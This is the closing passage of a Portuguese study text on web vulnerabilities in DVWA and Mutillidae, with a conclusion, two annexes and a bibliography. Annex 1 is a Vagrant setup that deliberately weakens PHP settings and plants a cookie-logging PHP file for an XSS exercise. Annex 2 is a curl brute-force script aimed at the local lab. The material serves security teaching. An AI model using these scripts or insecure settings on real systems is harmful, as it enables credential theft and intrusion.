Mutillidae 
Além da lista com as 10 maiores vulnerabilidades, a OWASP tem sua própria versão 
de sistema inseguro como o Damn Vulnerable Web Application. Chamado 
inicialmente de NoWASP e posteriormente renomeado para Mutillidae22. É um 
sistema com ainda mais exemplos de vulnerabilidades do que a DVWA e que 
separa as vulnerabilidades nas mesmas categorias que as top 10 vulnerabilidades. 
 
Conclusão 
A maioria das falhas de segurança em aplicações web podem ser evitadas, 
mas acontecem por falta de atenção, falta de conhecimento ou por falta de 
proatividade por parte dos desenvolvedores ou pelos responsáveis pelas 
configurações dos servidores/aplicações. É essencial se conhecer sobre as 
mesmas, não somente se você pretende trabalhar na área de segurança, mas se 
 
22 O nome é uma brincadeira em inglês, já que "wasp" significa "vespa" e "mutillidae" é uma família 
de vespas da ordem hymenoptera 
 
você trabalha em qualquer outra área relacionada ao 
desenvolvimento/gerenciamento de sistemas, pois somente conhecendo como 
estas falhas são exploradas é possível se prevenir e mitigar quando as mesmas 
acontecem. 
 
Anexos 
Anexo 1: 
 
# Instalação do DVWA em uma máquina virtual vbox 
# Créditos: Jean R T Delefrati <jeandelefrati@gmail.com> 
# Documentação completa do Vagrant: https://docs.vagrantup.com 
# AVISO! Este arquivo instala o DVWA (Damn Vulnerable Web Application) 
# uma aplicação que pode comprometer a segurança do seu computador 
# por favor não libere a porta 8080 para acesso externo e após terminar 
# seus estudos, execute o seguinte comando para fechar a máquina virtual: 
# vagrant halt 
 
Vagrant.configure(2) do |config| 
 
 # Instala a box Ubuntu Xenial 64bits 
 config.vm.box = "ubuntu/xenial64" 
 config.vm.box_check_update = false 
 
 # Encaminha a porta 80 da máquina virtual para a porta 8080 
 # do seu computador, para acessar: http://localhost:8080 em 
 # qualquer navegador 
 config.vm.network "forwarded_port", guest: 80, host: 8080 
 
 # Configura a Virtualbox 
 config.vm.provider "virtualbox" do |vb| 
 # Ignora o visual, usar só terminal 
 vb.gui = false 
 # Memória da máquinavirtual, 1G 
 vb.memory = "1024" 
 end 
 
 # Os comandos abaixo serão executados na primeira vez que você 
 # iniciar o "vagrant up" ou quando executar um 
 # "vagrant up --provision" (não recomendado) 
 config.vm.provision "shell", inline: <<-SHELL 
 
 
 echo '-- Atualizando os repositórios' 
 sudo apt-get -qq update -y 
 
 echo '-- Instalando o Apache web server' 
 sudo apt-get -qq install -y apache2 apache2.2-common apache2-utils 
apache2-mpm-prefork >> /vagrant/inst.log 
 
 echo '-- Instalando o PHP' 
 sudo apt-get -qq install -y libapache2-mod-php php php-common php-gd >> 
/vagrant/inst.log 
 
 echo '-- Instalando o editor NANO' 
 sudo apt-get -qq install -y nano >> /vagrant/inst.log 
 
 echo '-- Configurando o web server' 
 sudo service apache2 stop >> /vagrant/inst.log 
 sudo sed -i 's/www-data/vagrant/g' /etc/apache2/envvars 
 sudo sed -i '51iServerName 127.0.1.1' /etc/apache2/apache2.conf 
 sudo chown -R vagrant:root /var/lock/apache2 
 sudo service apache2 start >> /vagrant/inst.log 
 
 echo '-- Instalando o MySQL' 
 DBPASSWD=p@ssw0rd 
 debconf-set-selections <<< "mysql-server mysql-server/root_password 
password $DBPASSWD" 
 debconf-set-selections <<< "mysql-server mysql-
server/root_password_again password $DBPASSWD" 
 debconf-set-selections <<< "phpmyadmin phpmyadmin/dbconfig-install 
boolean true" 
 debconf-set-selections <<< "phpmyadmin phpmyadmin/app-password-confirm 
password $DBPASSWD" 
 debconf-set-selections <<< "phpmyadmin phpmyadmin/mysql/admin-pass 
password $DBPASSWD" 
 debconf-set-selections <<< "phpmyadmin phpmyadmin/mysql/app-pass 
password $DBPASSWD" 
 debconf-set-selections <<< "phpmyadmin phpmyadmin/reconfigure-webserver 
multiselect none" 
 sudo apt-get -y install mysql-server phpmyadmin php-mysql php-mysqli 
 
 echo '-- Configurando o PHP' 
 
 sudo sed -i "s/error_reporting = .*/error_reporting = E_ALL/" 
/etc/php/*/apache2/php.ini 
 sudo sed -i "s/display_errors = .*/display_errors = On/" 
/etc/php/*/apache2/php.ini 
 sudo sed -i "s/allow_url_include = Off/allow_url_include = On/" 
/etc/php/*/apache2/php.ini 
 
 echo '-- Executando os comandos pós instalação' 
 sudo service apache2 restart 
 sudo locale-gen UTF-8 
 
 echo '-- Baixando o DVWA' 
 cd ~ 
 git clone https://github.com/ethicalhack3r/DVWA >> /vagrant/inst.log 
 sudo unlink /var/www/html/index.html 
 sudo mv DVWA/* /var/www/html 
 sudo sed -i "s/recaptcha_public_key' ] = ''/recaptcha_public_key' ] = 
'insecurekey'/" /var/www/html/config/config.inc.php.dist 
 sudo sed -i "s/recaptcha_private_key' ] = ''/recaptcha_private_key' ] 
= 'insecurekey'/" /var/www/html/config/config.inc.php.dist 
 sudo sed -i "s/'impossible'/'low'/" 
/var/www/html/config/config.inc.php.dist 
 
 sudo cp /var/www/html/config/config.inc.php.dist 
/var/www/html/config/config.inc.php 
 
 echo "-- Criando o arquivo para o ataque XSS" 
 echo "<?php @file_put_contents('cookies.txt', json_encode(\$_REQUEST) . 
' - ' . json_encode(\$_SERVER) . PHP_EOL, FILE_APPEND);" > 
/var/www/html/cookie.php 
 
 
 
 echo '-- Script finalizado' 
 SHELL 
end 
 
 
Anexo 2 
#!/bin/bash 
 
echo -e "POC - Simples ferramenta de brute force\n"; 
echo -e "Usuário: \c" 
read usuario 
echo -e "PHPSESSID: \c" 
read sessid 
 
for senha in $(<"$1"); do 
 echo "$usuario/$senha"; 
 resultado=$(curl 
"http://localhost:8080/vulnerabilities/brute/?username=$usuario&password=$s
enha&Login=Login" -H "Cookie: PHPSESSID=$sessid; security=low" -s | grep 
"Username and/or password incorrect."); 
 if [ -z "$resultado" ]; then 
 echo "verificar!" 
 exit 1 
 fi; 
done; 
 
 
 
 
 
Bibliografia 
 
DVWA 
http://dvwa.co.uk/ 
https://github.com/ethicalhack3r/DVWA/ 
http://www.hackingarticles.in/hack-file-upload-vulnerability-dvwa-bypass-security/ 
 
OWASP 
https://www.owasp.org/index.php/Main_Page 
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf 
https://www.owasp.org/images/9/9c/OWASP_Top_10_2013_PT-BR.pdf 
https://www.owasp.org/index.php/Brute_force_attack 
https://www.owasp.org/index.php/SQL_Injection 
https://www.owasp.org/index.php/Using_a_broken_or_risky_cryptographic_algorithm 
https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure 
https://www.owasp.org/index.php/Unrestricted_File_Upload 
https://www.owasp.org/index.php/XSS_Attacks 
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) 
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) 
https://www.cvedetails.com/cwe-details/261/Weak-Cryptography-for-Passwords.html 
https://www.owasp.org/index.php/Testing_for_Captcha_(OWASP-AT-012) 
 
Mutillidae 
https://sourceforge.net/projects/mutillidae/files/ 
https://www.sans.org/reading-room/whitepapers/testing/introduction-owasp-
mutillidae-ii-web-pen-test-training-environment-34380 
https://pen-testing.sans.org/resources/papers/gwapt/introduction-owasp-mutillidae-ii-
web-pen-test-training-environment-126917 
https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide 
http://seclist.us/update-mutillidae-v-2-1-20-with-full-vulnerabilities-listing-php-
script.html 
 
http://dvwa.co.uk/
https://github.com/ethicalhack3r/DVWA/
http://www.hackingarticles.in/hack-file-upload-vulnerability-dvwa-bypass-security/
https://www.owasp.org/index.php/Main_Page
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
https://www.owasp.org/images/9/9c/OWASP_Top_10_2013_PT-BR.pdf
https://www.owasp.org/index.php/Brute_force_attack
https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/Using_a_broken_or_risky_cryptographic_algorithm
https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure
https://www.owasp.org/index.php/Unrestricted_File_Upload
https://www.owasp.org/index.php/XSS_Attacks
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://www.cvedetails.com/cwe-details/261/Weak-Cryptography-for-Passwords.html
https://www.owasp.org/index.php/Testing_for_Captcha_(OWASP-AT-012)
https://sourceforge.net/projects/mutillidae/files/
https://www.sans.org/reading-room/whitepapers/testing/introduction-owasp-mutillidae-ii-web-pen-test-training-environment-34380
https://www.sans.org/reading-room/whitepapers/testing/introduction-owasp-mutillidae-ii-web-pen-test-training-environment-34380
https://pen-testing.sans.org/resources/papers/gwapt/introduction-owasp-mutillidae-ii-web-pen-test-training-environment-126917
https://pen-testing.sans.org/resources/papers/gwapt/introduction-owasp-mutillidae-ii-web-pen-test-training-environment-126917
https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide
http://seclist.us/update-mutillidae-v-2-1-20-with-full-vulnerabilities-listing-php-script.html
http://seclist.us/update-mutillidae-v-2-1-20-with-full-vulnerabilities-listing-php-script.html
 
Passwords 
http://php.net/manual/pt_BR/faq.passwords.php 
http://webglimpse.net/pubs/TR94-34.pdf 
http://ctankersley.com/2009/10/14/hashing-is-not-encryption/ 
 
Listas de Vulnerabilidades 
https://exploit-db.com/ 
https://cve.mitre.org/ 
https://nakedsecurity.sophos.com/2017/01/03/phpmailer-could-put-your-website-at-
risk-heres-what-you-need-to-know/ 
https://www.cvedetails.com/vulnerability-list/vendor_id-31/Sendmail.html 
https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection 
https://www.exploit-db.com/exploits/40974/ 
https://sucuri.net/reports/ 
https://blog.sucuri.net/portugues/ 
https://kb.sucuri.net/malware/signatures/ 
 
Injection 
https://www.exploit-db.com/docs/english/42593-command-injection---shell-
injection.pdf 
https://secure.php.net/manual/pt_BR/book.mysqli.php 
https://dev.mysql.com/doc/mysql-infoschema-excerpt/5.7/en/information-
schema.html